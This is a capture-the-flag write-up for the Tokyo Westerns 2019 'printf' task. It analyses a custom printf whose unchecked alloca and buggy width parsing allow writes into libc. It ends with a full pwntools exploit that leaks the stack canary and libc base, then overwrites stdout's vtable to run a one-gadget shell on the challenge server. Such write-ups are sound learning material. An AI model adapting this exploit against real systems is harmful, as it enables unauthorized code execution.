printf write-up (Tokyo Westerns CTF 2019)

printf was a pretty typical pwn task: you get binary, libc, network address, and you have to gain an RCE. The vulnerability is an unsafe alloca which allows one to cross the gap between stack and libraries.

Binary

The gist of the main function is as follows:

char buf[256];
my_printf("What's your name?");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
for (i = 0; i < v5 - 1; ++i) {
  if (!isprint(buf[i]))
    _exit(1);
}
my_printf("Hi, ");
my_printf(buf);
my_printf("Do you leave a comment?");
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
my_printf(buf);

So printf is called twice with fully controllable format argument. The first time the string is restricted to printable characters, and the second time there're no restrictions.

Any CTF veteran knows that it looks like a classic format string bug, which are now relatively rare compared to heap tasks :).

Obviously, you can leak stack variables using the %lx|%lx|%lx|... format string. That defeats ASLR of stack, libc and binary itself.

However, the printf implementation is custom. It lacks %n specifier, and have some unusual bugs instead.

It prints the string in two passes. In the first pass, it calculates the string length, and allocates the buffer with alloca. During the second pass, the data is printed to the buffer, and then the buffer is written out with puts.

The bug is that the argument of alloca is unchecked. alloca compiles to sub rsp, rax without any checks whatsoever. We can't make the length negative, as it's thoroughly checked. But by specifying large width (e.g. %980794739896d) we can make it very large so the stack pointer crosses the unmapped gap between the stack and libc.

This might seem to be non-exploitable, as the function will crash when attempting to fill the entire gap between libc and stack with data. Not to mention that it will corrupt much more data than we want during the write to libc.

Fortunately, the implemenation of width specifier is buggy, as it effectively ignored during the second pass:

v27 = number_of_digits(&fmt_[i_fmt]);
i_fmt += v27;
v55.width = my_atoi(&fmt_[i_fmt]);

Here i_fmt should've been incremented after the atoi. The way it's written, however, the string that follows the width is interpreted as integer instead. What follows the integer is not an integer, so atoi returns zero.

Exploitation

How to exploit this, though?

The glibc is Ubuntu GLIBC 2.29-0ubuntu2, which corresponds to Ubuntu 19.04, which is very new.

So there's no easy way to overwrite things like atexit handlers, stdout virtual table, etc., as they're either mangled or checked.

For example, here's IO table being write-protected on my system:

pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$8 = (const struct _IO_jump_t *) 0x7ffff7dcd360 <_IO_file_jumps>
pwndbg> p _IO_file_jumps
$9 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a8aba0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a8b700 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a8b400 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a8c8e0 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a8e0e0 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a8a6e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a8a200 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a899e0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a8cd60 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a89140 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a88fe0 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a7b9a0 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a8a680 <__GI__IO_file_read>, 
  __write = 0x7ffff7a89ff0 <_IO_new_file_write>, 
  __seek = 0x7ffff7a89680 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a89100 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a89fb0 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a8e340 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a8e380 <_IO_default_imbue>
}
pwndbg> vmmap 0x7ffff7dcd360
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7dcc000     0x7ffff7dd0000 r--p     4000 1c2000 /lib64/libc-2.29.so

But let's re-check the binary provided with the task, just in case:

pwndbg> p &_IO_file_jumps
$1 = (<data variable, no debug info> *) 0x7ffff7fc0560 <_IO_file_jumps>
pwndbg> vmmap  0x7ffff7fc0560
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7fbe000     0x7ffff7fc1000 rw-p     3000 1e3000 /home/wgh/ctf/tokyowesterns2019/printf/libc.so.6

Wait, what, what, what? Why is default FILE * vtable is writable here? This's supposed to be fixed a long time ago. Honestly, I have no idea why it happened. The checksum corresponds to the correct Ubuntu package, we're not dealing with custom build glibc. I don't have an answer.

Anyway, we can overwrite some stdout function pointers and gain RIP control when puts is called. As usual, one-gadget-RCE can be employed.

The exploit is somewhat unstable locally, but works better when run against the remote server (probably due to different stack layout regarding environment variables, as it happens relatively often).

#!/usr/bin/env python2

from __future__ import print_function

from pwn import *

LOCAL = False
#LOCAL = True

context.binary = "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"
context.log_level = "debug"

libc_start_main_leak_offset = 7019 + 0x25000
libc_filejumps_underflow_offset = 9600
libc = ELF("libc.so.6")

if LOCAL:
    p = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"])
else:
    p = remote("printf.chal.ctf.westerns.tokyo", 10001)

def get_payload1():
    res = " ".join("%lx" for _ in xrange(64))
    assert len(res) <= 255
    return res

p.recvuntil("What's your name?")
p.sendline(get_payload1())
p.recvuntil("Hi, ")
leaks = p.recvuntil("Do you leave a comment?", drop=True)
leaks = [int(x, 16) for x in leaks.split()]

offset_info = {
    40: "main (canary)",
    41: "main (RBP)",
    42: "main RA (__libc_start_main)",
}
for i, addr in enumerate(leaks):
    extra = ""
    if i in offset_info:
        extra = " %s" % offset_info[i]

    log.info("%d: 0x%016x%s", i, addr, extra)

leaked_canary = leaks[40]
leaked_libc = leaks[42] - libc_start_main_leak_offset
main_buf = leaks[39] - 496 + 8

log.info("canary: 0x%016x", leaked_canary)
log.info("libc base: 0x%016x", leaked_libc)
log.info("main_buf: 0x%016x", main_buf)

#gdb.attach(p, """
#    breakrva 0x1C85 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#    breakrva 0x1C97 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4
#
#    b system
#""")

desired_address = leaked_libc + 0x1e6588 - 0x10

one_gadget = leaked_libc + 0x106ef8
#one_gadget = leaked_libc + libc.sym["system"]
log.info("one_gadget=0x%016x", one_gadget)

payload = b""
payload += "%{}d".format(main_buf - 416 - desired_address)
payload += "A" * (0x10-2)
payload += p64(one_gadget).rstrip(b'\0')

log.info("len(payload)=%d", len(payload))

p.sendline(payload)

p.interactive()